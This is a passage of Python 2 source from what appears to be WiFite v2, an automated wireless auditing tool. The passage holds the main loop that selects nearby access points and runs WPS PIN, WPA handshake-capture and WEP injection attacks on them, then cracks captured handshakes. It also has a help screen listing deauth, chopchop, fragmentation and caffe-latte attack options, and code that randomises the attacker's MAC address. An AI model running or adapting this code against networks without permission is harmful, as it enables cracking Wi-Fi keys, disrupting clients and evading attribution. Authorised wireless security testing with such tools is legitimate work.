  1319.             # Power
  1320.             if target.power >= 55:
  1321.                 col = G
  1322.             elif target.power >= 40:
  1323.                 col = O
  1324.             else:
  1325.                 col = R
  1326.             print "%s%3ddb%s" % (col, target.power, W),
  1327.             # WPS
  1328.             if self.RUN_CONFIG.WPS_DISABLE:
  1329.                 print "  %3s" % (O + 'n/a' + W),
  1330.             else:
  1331.                 print "  %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1332.             # Clients
  1333.             client_text = ''
  1334.             for c in clients:
  1335.                 if c.station == target.bssid:
  1336.                     if client_text == '':
  1337.                         client_text = 'client'
  1338.                     elif client_text[-1] != "s":
  1339.                         client_text += "s"
  1340.             if client_text != '':
  1341.                 print '  %s' % (G + client_text + W)
  1342.             else:
  1343.                 print ''
  1344.  
  1345.         ri = raw_input(
  1346.             GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \
  1347.             " separated by commas, or '%s': " % (G + 'all' + W))
  1348.         if ri.strip().lower() == 'all':
  1349.             victims = targets[:]
  1350.         else:
  1351.             for r in ri.split(','):
  1352.                 r = r.strip()
  1353.                 if r.find('-') != -1:
  1354.                     (sx, sy) = r.split('-')
  1355.                     if sx.isdigit() and sy.isdigit():
  1356.                         x = int(sx)
  1357.                         y = int(sy) + 1
  1358.                         for v in xrange(x, y):
  1359.                             victims.append(targets[v - 1])
  1360.                 elif not r.isdigit() and r.strip() != '':
  1361.                     print O + " [!]" + R + " not a number: %s " % (O + r + W)
  1362.                 elif r != '':
  1363.                     victims.append(targets[int(r) - 1])
  1364.  
  1365.         if len(victims) == 0:
  1366.             print O + '\n [!] ' + R + 'no targets selected.\n' + W
  1367.             self.RUN_CONFIG.exit_gracefully(0)
  1368.  
  1369.         print ''
  1370.         print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
  1371.  
  1372.         return (victims, clients)
  1373.  
  1374.     def Start(self):
  1375.         self.RUN_CONFIG.CreateTempFolder()
  1376.         self.RUN_CONFIG.handle_args()
  1377.         self.RUN_CONFIG.ConfirmRunningAsRoot()
  1378.         self.RUN_CONFIG.ConfirmCorrectPlatform()
  1379.  
  1380.         self.initial_check()  # Ensure required programs are installed.
  1381.  
  1382.         # Use an interface already in monitor mode if it has been provided,
  1383.         if self.RUN_CONFIG.MONITOR_IFACE != '':
  1384.             iface = self.RUN_CONFIG.MONITOR_IFACE
  1385.         else:
  1386.             # The "get_iface" method anonymizes the MAC address (if needed)
  1387.             # and puts the interface into monitor mode.
  1388.             iface = self.get_iface()
  1389.         self.RUN_CONFIG.THIS_MAC = get_mac_address(iface)  # Store current MAC address
  1390.  
  1391.         (targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL)
  1392.  
  1393.         try:
  1394.             index = 0
  1395.             while index < len(targets):
  1396.                 target = targets[index]
  1397.                 # Check if we have already cracked this target
  1398.                 for already in RUN_CONFIG.CRACKED_TARGETS:
  1399.                     if already.bssid == targets[index].bssid:
  1400.                         if RUN_CONFIG.SHOW_ALREADY_CRACKED == True:
  1401.                             print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W
  1402.                             print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"')
  1403.                             ri = raw_input(
  1404.                                 GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ')
  1405.                             if ri.lower() == 'n':
  1406.                                 targets.pop(index)
  1407.                                 index -= 1
  1408.                         else:
  1409.                             targets.pop(index)
  1410.                             index -= 1
  1411.                         break
  1412.  
  1413.                 # Check if handshakes already exist, ask user whether to skip targets or save new handshakes
  1414.                 handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
  1415.                                  + '_' + target.bssid.replace(':', '-') + '.cap'
  1416.                 if os.path.exists(handshake_file):
  1417.                     print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W)
  1418.                     print '        %s\n' % (G + handshake_file + W)
  1419.                     print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?'
  1420.                     ri = 'x'
  1421.                     while ri != 's' and ri != 'c' and ri != 'o':
  1422.                         ri = raw_input(
  1423.                             GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower()
  1424.                     print W + "\b",
  1425.                     if ri == 's':
  1426.                         targets.pop(index)
  1427.                         index -= 1
  1428.                     elif ri == 'o':
  1429.                         remove_file(handshake_file)
  1430.                         continue
  1431.                 index += 1
  1432.  
  1433.  
  1434.         except KeyboardInterrupt:
  1435.             print '\n ' + R + '(^C)' + O + ' interrupted\n'
  1436.             self.RUN_CONFIG.exit_gracefully(0)
  1437.  
  1438.         wpa_success = 0
  1439.         wep_success = 0
  1440.         wpa_total = 0
  1441.         wep_total = 0
  1442.  
  1443.         self.RUN_CONFIG.TARGETS_REMAINING = len(targets)
  1444.         for t in targets:
  1445.             self.RUN_CONFIG.TARGETS_REMAINING -= 1
  1446.  
  1447.             # Build list of clients connected to target
  1448.             ts_clients = []
  1449.             for c in clients:
  1450.                 if c.station == t.bssid:
  1451.                     ts_clients.append(c)
  1452.  
  1453.             print ''
  1454.             if t.encryption.find('WPA') != -1:
  1455.                 need_handshake = True
  1456.                 if not self.RUN_CONFIG.WPS_DISABLE and t.wps:
  1457.                     wps_attack = WPSAttack(iface, t, self.RUN_CONFIG)
  1458.                     need_handshake = not wps_attack.RunAttack()
  1459.                     wpa_total += 1
  1460.  
  1461.                 if not need_handshake: wpa_success += 1
  1462.                 if self.RUN_CONFIG.TARGETS_REMAINING < 0: break
  1463.  
  1464.                 if not self.RUN_CONFIG.PIXIE and not self.RUN_CONFIG.WPA_DISABLE and need_handshake:
  1465.                     wpa_total += 1
  1466.                     wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1467.                     if wpa_attack.RunAttack():
  1468.                         wpa_success += 1
  1469.  
  1470.             elif t.encryption.find('WEP') != -1:
  1471.                 wep_total += 1
  1472.                 wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1473.                 if wep_attack.RunAttack():
  1474.                     wep_success += 1
  1475.  
  1476.             else:
  1477.                 print R + ' unknown encryption:', t.encryption, W
  1478.  
  1479.             # If user wants to stop attacking
  1480.             if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break
  1481.  
  1482.         if wpa_total + wep_total > 0:
  1483.             # Attacks are done! Show results to user
  1484.             print ''
  1485.             print GR + ' [+] %s%d attack%s completed:%s' % (
  1486.             G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W)
  1487.             print ''
  1488.             if wpa_total > 0:
  1489.                 if wpa_success == 0:
  1490.                     print GR + ' [+]' + R,
  1491.                 elif wpa_success == wpa_total:
  1492.                     print GR + ' [+]' + G,
  1493.                 else:
  1494.                     print GR + ' [+]' + O,
  1495.                 print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)
  1496.  
  1497.                 for finding in self.RUN_CONFIG.WPA_FINDINGS:
  1498.                     print '        ' + C + finding + W
  1499.  
  1500.             if wep_total > 0:
  1501.                 if wep_success == 0:
  1502.                     print GR + ' [+]' + R,
  1503.                 elif wep_success == wep_total:
  1504.                     print GR + ' [+]' + G,
  1505.                 else:
  1506.                     print GR + ' [+]' + O,
  1507.                 print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)
  1508.  
  1509.                 for finding in self.RUN_CONFIG.WEP_FINDINGS:
  1510.                     print '        ' + C + finding + W
  1511.  
  1512.             caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK)
  1513.             if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK:
  1514.                 print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % (
  1515.                 G, caps, W if caps == 1 else 's' + W)
  1516.                 for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK:
  1517.                     wpa_crack(cap, self.RUN_CONFIG)
  1518.  
  1519.         print ''
  1520.         self.RUN_CONFIG.exit_gracefully(0)
  1521.  
  1522.     def parse_csv(self, filename):
  1523.         """
  1524.             Parses given lines from airodump-ng CSV file.
  1525.             Returns tuple: List of targets and list of clients.
  1526.         """
  1527.         if not os.path.exists(filename): return ([], [])
  1528.         targets = []
  1529.         clients = []
  1530.         try:
  1531.             hit_clients = False
  1532.             with open(filename, 'rb') as csvfile:
  1533.                 targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',')
  1534.                 for row in targetreader:
  1535.                     if len(row) < 2:
  1536.                         continue
  1537.                     if not hit_clients:
  1538.                         if row[0].strip() == 'Station MAC':
  1539.                             hit_clients = True
  1540.                             continue
  1541.                         if len(row) < 14:
  1542.                             continue
  1543.                         if row[0].strip() == 'BSSID':
  1544.                             continue
  1545.                         enc = row[5].strip()
  1546.                         wps = False
  1547.                         # Ignore non-WPA and non-WEP encryption
  1548.                         if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
  1549.                         if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue
  1550.                         if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find(
  1551.                                 'WPA') != -1: continue
  1552.                         if enc == "WPA2WPA" or enc == "WPA2 WPA":
  1553.                             enc = "WPA2"
  1554.                             wps = True
  1555.                         if len(enc) > 4:
  1556.                             enc = enc[4:].strip()
  1557.                         power = int(row[8].strip())
  1558.  
  1559.                         ssid = row[13].strip()
  1560.                         ssidlen = int(row[12].strip())
  1561.                         ssid = ssid[:ssidlen]
  1562.  
  1563.                         if power < 0: power += 100
  1564.                         t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)
  1565.                         t.wps = wps
  1566.                         targets.append(t)
  1567.                     else:
  1568.                         if len(row) < 6:
  1569.                             continue
  1570.                         bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())
  1571.                         station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())
  1572.                         power = row[3].strip()
  1573.                         if station != 'notassociated':
  1574.                             c = Client(bssid, station, power)
  1575.                             clients.append(c)
  1576.         except IOError as e:
  1577.             print "I/O error({0}): {1}".format(e.errno, e.strerror)
  1578.             return ([], [])
  1579.  
  1580.         return (targets, clients)
  1581.  
  1582.     def analyze_capfile(self, capfile):
  1583.         """
  1584.             Analyzes given capfile for handshakes using various programs.
  1585.             Prints results to console.
  1586.         """
  1587.         # we're not running an attack
  1588.         wpa_attack = WPAAttack(None, None, None, None)
  1589.  
  1590.         if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '':
  1591.             print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes'
  1592.             print R + ' [!]' + O + ' please enter essid (access point name) using -e <name>'
  1593.             print R + ' [!]' + O + ' and/or target bssid (mac address) using -b <mac>\n'
  1594.             # exit_gracefully(1)
  1595.  
  1596.         if self.RUN_CONFIG.TARGET_BSSID == '':
  1597.             # Get the first BSSID found in tshark!
  1598.             self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile)
  1599.             # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
  1600.             if self.RUN_CONFIG.TARGET_BSSID == '':
  1601.                 print R + ' [!]' + O + ' unable to guess BSSID from ESSID!'
  1602.             else:
  1603.                 print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W)
  1604.  
  1605.         if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '':
  1606.             self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile)
  1607.  
  1608.         print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W)
  1609.  
  1610.         t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID)
  1611.  
  1612.         if program_exists('pyrit'):
  1613.             result = wpa_attack.has_handshake_pyrit(t, capfile)
  1614.             print GR + ' [+]' + W + '    ' + G + 'pyrit' + W + ':\t\t\t %s' % (
  1615.             G + 'found!' + W if result else O + 'not found' + W)
  1616.         else:
  1617.             print R + ' [!]' + O + ' program not found: pyrit'
  1618.         if program_exists('cowpatty'):
  1619.             result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True)
  1620.             print GR + ' [+]' + W + '    ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % (
  1621.             G + 'found!' + W if result else O + 'not found' + W)
  1622.             result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False)
  1623.             print GR + ' [+]' + W + '    ' + G + 'cowpatty' + W + ' (strict):\t %s' % (
  1624.             G + 'found!' + W if result else O + 'not found' + W)
  1625.         else:
  1626.             print R + ' [!]' + O + ' program not found: cowpatty'
  1627.         if program_exists('tshark'):
  1628.             result = wpa_attack.has_handshake_tshark(t, capfile)
  1629.             print GR + ' [+]' + W + '    ' + G + 'tshark' + W + ':\t\t\t %s' % (
  1630.             G + 'found!' + W if result else O + 'not found' + W)
  1631.         else:
  1632.             print R + ' [!]' + O + ' program not found: tshark'
  1633.         if program_exists('aircrack-ng'):
  1634.             result = wpa_attack.has_handshake_aircrack(t, capfile)
  1635.             print GR + ' [+]' + W + '    ' + G + 'aircrack-ng' + W + ':\t\t %s' % (
  1636.             G + 'found!' + W if result else O + 'not found' + W)
  1637.         else:
  1638.             print R + ' [!]' + O + ' program not found: aircrack-ng'
  1639.  
  1640.         print ''
  1641.  
  1642.         self.RUN_CONFIG.exit_gracefully(0)
  1643.  
  1644.  
  1645. ##################
  1646. # MAIN FUNCTIONS #
  1647. ##################
  1648.  
  1649. ##############################################################
  1650. ### End Classes
  1651.  
  1652. def rename(old, new):
  1653.     """
  1654.         Renames file 'old' to 'new', works with separate partitions.
  1655.         Thanks to hannan.sadar
  1656.     """
  1657.     try:
  1658.         os.rename(old, new)
  1659.     except os.error, detail:
  1660.         if detail.errno == errno.EXDEV:
  1661.             try:
  1662.                 copy(old, new)
  1663.             except:
  1664.                 os.unlink(new)
  1665.                 raise
  1666.                 os.unlink(old)
  1667.         # if desired, deal with other errors
  1668.         else:
  1669.             raise
  1670.  
  1671.  
  1672. def banner(RUN_CONFIG):
  1673.     """
  1674.         Displays ASCII art of the highest caliber.
  1675.     """
  1676.     print ''
  1677.     print G + "  .;'                     `;,    "
  1678.     print G + " .;'  ,;'             `;,  `;,   " + W + "WiFite v2 (r" + str(RUN_CONFIG.REVISION) + ")"
  1679.     print G + ".;'  ,;'  ,;'     `;,  `;,  `;,  "
  1680.     print G + "::   ::   :   " + GR + "( )" + G + "   :   ::   ::  " + GR + "automated wireless auditor"
  1681.     print G + "':.  ':.  ':. " + GR + "/_\\" + G + " ,:'  ,:'  ,:'  "
  1682.     print G + " ':.  ':.    " + GR + "/___\\" + G + "    ,:'  ,:'   " + GR + "designed for Linux"
  1683.     print G + "  ':.       " + GR + "/_____\\" + G + "      ,:'     "
  1684.     print G + "           " + GR + "/       \\" + G + "             "
  1685.     print W
  1686.  
  1687.  
  1688. def get_revision():
  1689.     """
  1690.         Gets latest revision # from the GitHub repository
  1691.         Returns : revision#
  1692.     """
  1693.     irev = -1
  1694.  
  1695.     try:
  1696.         sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  1697.         page = sock.read()
  1698.     except IOError:
  1699.         return (-1, '', '')
  1700.  
  1701.     # get the revision
  1702.     start = page.find('REVISION = ')
  1703.     stop = page.find(";", start)
  1704.     if start != -1 and stop != -1:
  1705.         start += 11
  1706.         rev = page[start:stop]
  1707.         try:
  1708.             irev = int(rev)
  1709.         except ValueError:
  1710.             rev = rev.split('\n')[0]
  1711.             print R + '[+] invalid revision number: "' + rev + '"'
  1712.  
  1713.     return irev
  1714.  
  1715.  
  1716. def help():
  1717.     """
  1718.         Prints help screen
  1719.     """
  1720.  
  1721.     head = W
  1722.     sw = G
  1723.     var = GR
  1724.     des = W
  1725.     de = G
  1726.  
  1727.     print head + '   COMMANDS' + W
  1728.     print sw + '\t-check ' + var + '<file>\t' + des + 'check capfile ' + var + '<file>' + des + ' for handshakes.' + W
  1729.     print sw + '\t-cracked    \t' + des + 'display previously-cracked access points' + W
  1730.     print sw + '\t-recrack    \t' + des + 'allow recracking of previously cracked access points' + W
  1731.     print ''
  1732.  
  1733.     print head + '   GLOBAL' + W
  1734.     print sw + '\t-all         \t' + des + 'attack all targets.              ' + de + '[off]' + W
  1735.     #print sw+'\t-pillage     \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W
  1736.     print sw + '\t-i ' + var + '<iface>  \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W
  1737.     print sw + '\t-mon-iface ' + var + '<monitor_interface>  \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W
  1738.     print sw + '\t-mac         \t' + des + 'anonymize mac address            ' + de + '[off]' + W
  1739.     print sw + '\t-c ' + var + '<channel>\t' + des + 'channel to scan for targets      ' + de + '[auto]' + W
  1740.     print sw + '\t-e ' + var + '<essid>  \t' + des + 'target a specific access point by ssid (name)  ' + de + '[ask]' + W
  1741.     print sw + '\t-b ' + var + '<bssid>  \t' + des + 'target a specific access point by bssid (mac)  ' + de + '[auto]' + W
  1742.     print sw + '\t-showb       \t' + des + 'display target BSSIDs after scan               ' + de + '[off]' + W
  1743.     print sw + '\t-pow ' + var + '<db>   \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W
  1744.     print sw + '\t-quiet       \t' + des + 'do not print list of APs during scan           ' + de + '[off]' + W
  1745.     print ''
  1746.  
  1747.     print head + '\n   WPA' + W
  1748.     print sw + '\t-wpa        \t' + des + 'only target WPA networks (works with -wps -wep)   ' + de + '[off]' + W
  1749.     print sw + '\t-wpat ' + var + '<sec>   \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W
  1750.     print sw + '\t-wpadt ' + var + '<sec>  \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W
  1751.     print sw + '\t-strip      \t' + des + 'strip handshake using tshark or pyrit             ' + de + '[off]' + W
  1752.     print sw + '\t-crack ' + var + '<dic>\t' + des + 'crack WPA handshakes using ' + var + '<dic>' + des + ' wordlist file    ' + de + '[off]' + W
  1753.     print sw + '\t-dict ' + var + '<file>\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W
  1754.     print sw + '\t-aircrack   \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W
  1755.     print sw + '\t-pyrit      \t' + des + 'verify handshake using pyrit    ' + de + '[off]' + W
  1756.     print sw + '\t-tshark     \t' + des + 'verify handshake using tshark   ' + de + '[on]' + W
  1757.     print sw + '\t-cowpatty   \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W
  1758.  
  1759.     print head + '\n   WEP' + W
  1760.     print sw + '\t-wep        \t' + des + 'only target WEP networks ' + de + '[off]' + W
  1761.     print sw + '\t-pps ' + var + '<num>  \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W
  1762.     print sw + '\t-wept ' + var + '<sec> \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W
  1763.     print sw + '\t-chopchop   \t' + des + 'use chopchop attack      ' + de + '[on]' + W
  1764.     print sw + '\t-arpreplay  \t' + des + 'use arpreplay attack     ' + de + '[on]' + W
  1765.     print sw + '\t-fragment   \t' + des + 'use fragmentation attack ' + de + '[on]' + W
  1766.     print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack   ' + de + '[on]' + W
  1767.     print sw + '\t-p0841      \t' + des + 'use -p0841 attack        ' + de + '[on]' + W
  1768.     print sw + '\t-hirte      \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W
  1769.     print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails    ' + de + '[off]' + W
  1770.     print sw + '\t-wepca ' + GR + '<n>  \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W
  1771.     print sw + '\t-wepsave    \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W
  1772.  
  1773.     print head + '\n   WPS' + W
  1774.     print sw + '\t-wps       \t' + des + 'only target WPS networks         ' + de + '[off]' + W
  1775.     print sw + '\t-wpst ' + var + '<sec>  \t' + des + 'max wait for new retry before giving up (0: never)  ' + de + '[660]' + W
  1776.     print sw + '\t-wpsratio ' + var + '<per>\t' + des + 'min ratio of successful PIN attempts/total tries    ' + de + '[0]' + W
  1777.     print sw + '\t-wpsretry ' + var + '<num>\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W
  1778.  
  1779.     print head + '\n   EXAMPLE' + W
  1780.     print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W
  1781.     print ''
  1782.  
  1783.  
  1784. ###########################
  1785. # WIRELESS CARD FUNCTIONS #
  1786. ###########################
  1787.  
  1788.  
  1789.  
  1790.  
  1791. ######################
  1792. # SCANNING FUNCTIONS #
  1793. ######################
  1794.  
  1795.  
  1796.  
  1797.  
  1798.  
  1799. def wps_check_targets(targets, cap_file, verbose=True):
  1800.     """
  1801.         Uses reaver's "walsh" (or wash) program to check access points in cap_file
  1802.         for WPS functionality. Sets "wps" field of targets that match to True.
  1803.     """
  1804.     global RUN_CONFIG
  1805.  
  1806.     if not program_exists('walsh') and not program_exists('wash'):
  1807.         RUN_CONFIG.WPS_DISABLE = True  # Tell 'scan' we were unable to execute walsh
  1808.         return
  1809.     program_name = 'walsh' if program_exists('walsh') else 'wash'
  1810.  
  1811.     if len(targets) == 0 or not os.path.exists(cap_file): return
  1812.     if verbose:
  1813.         print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...',
  1814.         stdout.flush()
  1815.  
  1816.     cmd = [program_name,
  1817.            '-f', cap_file,
  1818.            '-C']  # ignore Frame Check Sum errors
  1819.     proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN)
  1820.     proc_walsh.wait()
  1821.     for line in proc_walsh.communicate()[0].split('\n'):
  1822.         if line.strip() == '' or line.startswith('Scanning for'): continue
  1823.         bssid = line.split(' ')[0]
  1824.  
  1825.         for t in targets:
  1826.             if t.bssid.lower() == bssid.lower():
  1827.                 t.wps = True
  1828.     if verbose:
  1829.         print 'done'
  1830.     removed = 0
  1831.     if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE:
  1832.         i = 0
  1833.         while i < len(targets):
  1834.             if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
  1835.                 removed += 1
  1836.                 targets.pop(i)
  1837.             else:
  1838.                 i += 1
  1839.         if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W)
  1840.  
  1841.  
  1842. def print_and_exec(cmd):
  1843.     """
  1844.         Prints and executes command "cmd". Also waits half a second
  1845.         Used by rtl8187_fix (for prettiness)
  1846.     """
  1847.     print '\r                                                        \r',
  1848.     stdout.flush()
  1849.     print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W,
  1850.     stdout.flush()
  1851.     call(cmd, stdout=DN, stderr=DN)
  1852.     time.sleep(0.1)
  1853.  
  1854.  
  1855. ####################
  1856. # HELPER FUNCTIONS #
  1857. ####################
  1858.  
  1859. def remove_airodump_files(prefix):
  1860.     """
  1861.         Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
  1862.         Used by wpa_get_handshake() and attack_wep()
  1863.     """
  1864.     global RUN_CONFIG
  1865.     remove_file(prefix + '-01.cap')
  1866.     remove_file(prefix + '-01.csv')
  1867.     remove_file(prefix + '-01.kismet.csv')
  1868.     remove_file(prefix + '-01.kismet.netxml')
  1869.     for filename in os.listdir(RUN_CONFIG.temp):
  1870.         if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename)
  1871.     for filename in os.listdir('.'):
  1872.         if filename.startswith('replay_') and filename.endswith('.cap'):
  1873.             remove_file(filename)
  1874.         if filename.endswith('.xor'): remove_file(filename)
  1875.     # Remove .cap's from previous attack sessions
  1876.     """i = 2
  1877.     while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
  1878.         os.remove(temp + 'wep-' + str(i) + '.cap')
  1879.         i += 1
  1880.     """
  1881.  
  1882.  
  1883. def remove_file(filename):
  1884.     """
  1885.         Attempts to remove a file. Does not throw error if file is not found.
  1886.     """
  1887.     try:
  1888.         os.remove(filename)
  1889.     except OSError:
  1890.         pass
  1891.  
  1892.  
  1893. def program_exists(program):
  1894.     """
  1895.         Uses 'which' (linux command) to check if a program is installed.
  1896.     """
  1897.  
  1898.     proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
  1899.     txt = proc.communicate()
  1900.     if txt[0].strip() == '' and txt[1].strip() == '':
  1901.         return False
  1902.     if txt[0].strip() != '' and txt[1].strip() == '':
  1903.         return True
  1904.  
  1905.     return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)
  1906.  
  1907.  
  1908. def sec_to_hms(sec):
  1909.     """
  1910.         Converts integer sec to h:mm:ss format
  1911.     """
  1912.     if sec <= -1: return '[endless]'
  1913.     h = sec / 3600
  1914.     sec %= 3600
  1915.     m = sec / 60
  1916.     sec %= 60
  1917.     return '[%d:%02d:%02d]' % (h, m, sec)
  1918.  
  1919.  
  1920. def send_interrupt(process):
  1921.     """
  1922.         Sends interrupt signal to process's PID.
  1923.     """
  1924.     try:
  1925.         os.kill(process.pid, SIGINT)
  1926.         # os.kill(process.pid, SIGTERM)
  1927.     except OSError:
  1928.         pass  # process cannot be killed
  1929.     except TypeError:
  1930.         pass  # pid is incorrect type
  1931.     except UnboundLocalError:
  1932.         pass  # 'process' is not defined
  1933.     except AttributeError:
  1934.         pass  # Trying to kill "None"
  1935.  
  1936.  
  1937. def get_mac_address(iface):
  1938.     """
  1939.         Returns MAC address of "iface".
  1940.     """
  1941.     proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1942.     proc.wait()
  1943.     mac = ''
  1944.     first_line = proc.communicate()[0].split('\n')[0]
  1945.     for word in first_line.split(' '):
  1946.         if word != '': mac = word
  1947.     if mac.find('-') != -1: mac = mac.replace('-', ':')
  1948.     if len(mac) > 17: mac = mac[0:17]
  1949.     return mac
  1950.  
  1951.  
  1952. def generate_random_mac(old_mac):
  1953.     """
  1954.         Generates a random MAC address.
  1955.         Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
  1956.         Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
  1957.     """
  1958.     random.seed()
  1959.     new_mac = old_mac[:8].lower().replace('-', ':')
  1960.     for i in xrange(0, 6):
  1961.         if i % 2 == 0: new_mac += ':'
  1962.         new_mac += '0123456789abcdef'[random.randint(0, 15)]
  1963.  
  1964.     # Prevent generating the same MAC address via recursion.
  1965.     if new_mac == old_mac:
  1966.         new_mac = generate_random_mac(old_mac)
  1967.     return new_mac
  1968.  
  1969.  
  1970. def mac_anonymize(iface):
  1971.     """
  1972.         Changes MAC address of 'iface' to a random MAC.
  1973.         Only randomizes the last 6 digits of the MAC, so the vender says the same.
  1974.         Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
  1975.     """
  1976.     global RUN_CONFIG
  1977.     if RUN_CONFIG.DO_NOT_CHANGE_MAC: return
  1978.     if not program_exists('ifconfig'): return
  1979.  
  1980.     # Store old (current) MAC address
  1981.     proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1982.     proc.wait()
  1983.     for word in proc.communicate()[0].split('\n')[0].split(' '):
  1984.         if word != '': old_mac = word
  1985.     RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac)
  1986.  
  1987.     new_mac = generate_random_mac(old_mac)
  1988.  
  1989.     call(['ifconfig', iface, 'down'])
  1990.  
  1991.     print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old_mac + W, O + new_mac + W),
  1992.     stdout.flush()
  1993.  
  1994.     proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
  1995.     proc.wait()
  1996.     call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1997.     print 'done'
  1998.  
  1999.  
  2000. def mac_change_back():
  2001.     """
  2002.         Changes MAC address back to what it was before attacks began.
  2003.     """
  2004.     global RUN_CONFIG
  2005.     iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0]
  2006.     old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1]
  2007.     if iface == '' or old_mac == '': return
  2008.  
  2009.     print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old_mac + W),
  2010.     stdout.flush()
  2011.  
  2012.     call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
  2013.     proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
  2014.     proc.wait()
  2015.     call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  2016.     print "done"
  2017.  
  2018.  
  2019. def get_essid_from_cap(bssid, capfile):
  2020.     """
  2021.         Attempts to get ESSID from cap file using BSSID as reference.
  2022.         Returns '' if not found.
  2023.     """
  2024.     if not program_exists('tshark'): return ''
  2025.  
  2026.     cmd = ['tshark',
  2027.            '-r', capfile,
  2028.            '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
  2029.            '-n']
